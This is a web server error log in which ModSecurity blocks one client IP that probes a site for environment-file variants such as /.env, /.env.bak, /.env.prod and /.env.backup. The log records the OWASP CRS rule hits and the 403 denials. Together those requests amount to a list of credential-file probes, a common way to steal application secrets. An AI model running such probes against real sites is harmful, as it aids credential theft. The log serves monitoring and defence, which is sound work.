[Sat Oct 24 13:37:00.324117 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atzsvIWurp-t0SwAQgRseAAAAAQ"]
[Sat Oct 24 13:37:00.324427 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atzsvIWurp-t0SwAQgRseAAAAAQ"]
[Sat Oct 24 13:37:00.325633 2026] [security2:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atzsvDfHsOPHExJk0jBRLgAAAAA"]
[Sat Oct 24 13:37:00.325814 2026] [security2:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atzsvDfHsOPHExJk0jBRLgAAAAA"]
[Sat Oct 24 13:37:00.326187 2026] [security2:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "atzsvDfHsOPHExJk0jBRLgAAAAA"]
[Sat Oct 24 13:37:00.328509 2026] [security2:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atzsvBdOhHN-18IxgZKtzAAAAAY"]
[Sat Oct 24 13:37:00.328662 2026] [security2:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atzsvBdOhHN-18IxgZKtzAAAAAY"]
[Sat Oct 24 13:37:00.328912 2026] [security2:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atzsvBdOhHN-18IxgZKtzAAAAAY"]
[Sat Oct 24 13:37:00.330759 2026] [security2:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atzsvL67zmuaHuFajxGnzAAAAA4"]
[Sat Oct 24 13:37:00.330904 2026] [security2:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atzsvL67zmuaHuFajxGnzAAAAA4"]
[Sat Oct 24 13:37:00.331198 2026] [security2:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atzsvL67zmuaHuFajxGnzAAAAA4"]
[Sat Oct 24 13:37:00.332668 2026] [security2:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atzsvAoF0dEltz9SGyy75gAAABU"]
[Sat Oct 24 13:37:00.332835 2026] [security2:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atzsvAoF0dEltz9SGyy75gAAABU"]
[Sat Oct 24 13:37:00.333061 2026] [security2:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atzsvAoF0dEltz9SGyy75gAAABU"]
[Sat Oct 24 13:37:00.333107 2026] [security2:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atzsvHy_mx2QzptTVg2rDgAAAAU"]
[Sat Oct 24 13:37:00.333254 2026] [security2:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atzsvHy_mx2QzptTVg2rDgAAAAU"]
[Sat Oct 24 13:37:00.333466 2026] [security2:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atzsvHy_mx2QzptTVg2rDgAAAAU"]
[Sat Oct 24 13:37:00.342857 2026] [proxy_fcgi:error] [pid 2661974:tid 2661974] [client 213.209.159.133:55550] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.343480 2026] [proxy_fcgi:error] [pid 2653691:tid 2653691] [client 213.209.159.133:55568] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.345789 2026] [security2:error] [pid 2676583:tid 2676583] [client 213.209.159.133:55608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzsvJLd8qRkPDP6P-d24QAAAAI"]
[Sat Oct 24 13:37:00.348928 2026] [security2:error] [pid 2676583:tid 2676583] [client 213.209.159.133:55608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzsvJLd8qRkPDP6P-d24QAAAAI"]
[Sat Oct 24 13:37:00.349157 2026] [security2:error] [pid 2676583:tid 2676583] [client 213.209.159.133:55608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzsvJLd8qRkPDP6P-d24QAAAAI"]
[Sat Oct 24 13:37:00.398152 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzsvFb2-c1qsZ5qYR4A2wAAAAM"]
[Sat Oct 24 13:37:00.398369 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzsvFb2-c1qsZ5qYR4A2wAAAAM"]
[Sat Oct 24 13:37:00.398710 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzsvFb2-c1qsZ5qYR4A2wAAAAM"]
[Sat Oct 24 13:37:00.412015 2026] [security2:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atzsvL67zmuaHuFajxGnzQAAAA4"]
[Sat Oct 24 13:37:00.412202 2026] [security2:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atzsvL67zmuaHuFajxGnzQAAAA4"]
[Sat Oct 24 13:37:00.412418 2026] [security2:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atzsvL67zmuaHuFajxGnzQAAAA4"]
[Sat Oct 24 13:37:00.412794 2026] [security2:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atzsvAoF0dEltz9SGyy75wAAABU"]
[Sat Oct 24 13:37:00.412950 2026] [security2:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atzsvAoF0dEltz9SGyy75wAAABU"]
[Sat Oct 24 13:37:00.413164 2026] [security2:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atzsvAoF0dEltz9SGyy75wAAABU"]
[Sat Oct 24 13:37:00.414157 2026] [security2:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atzsvHy_mx2QzptTVg2rDwAAAAU"]
[Sat Oct 24 13:37:00.414299 2026] [security2:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atzsvHy_mx2QzptTVg2rDwAAAAU"]
[Sat Oct 24 13:37:00.414582 2026] [security2:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atzsvHy_mx2QzptTVg2rDwAAAAU"]
[Sat Oct 24 13:37:00.423371 2026] [security2:error] [pid 2661974:tid 2661974] [client 213.209.159.133:55550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atzsvFJ_jwyaxTk3PFs14QAAAAE"]
[Sat Oct 24 13:37:00.423520 2026] [security2:error] [pid 2661974:tid 2661974] [client 213.209.159.133:55550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atzsvFJ_jwyaxTk3PFs14QAAAAE"]
[Sat Oct 24 13:37:00.423782 2026] [security2:error] [pid 2661974:tid 2661974] [client 213.209.159.133:55550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atzsvFJ_jwyaxTk3PFs14QAAAAE"]
[Sat Oct 24 13:37:00.424191 2026] [security2:error] [pid 2653691:tid 2653691] [client 213.209.159.133:55568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atzsvAg8t6UDSRTNwJOXwwAAABc"]
[Sat Oct 24 13:37:00.424342 2026] [security2:error] [pid 2653691:tid 2653691] [client 213.209.159.133:55568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atzsvAg8t6UDSRTNwJOXwwAAABc"]
[Sat Oct 24 13:37:00.424546 2026] [security2:error] [pid 2653691:tid 2653691] [client 213.209.159.133:55568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atzsvAg8t6UDSRTNwJOXwwAAABc"]
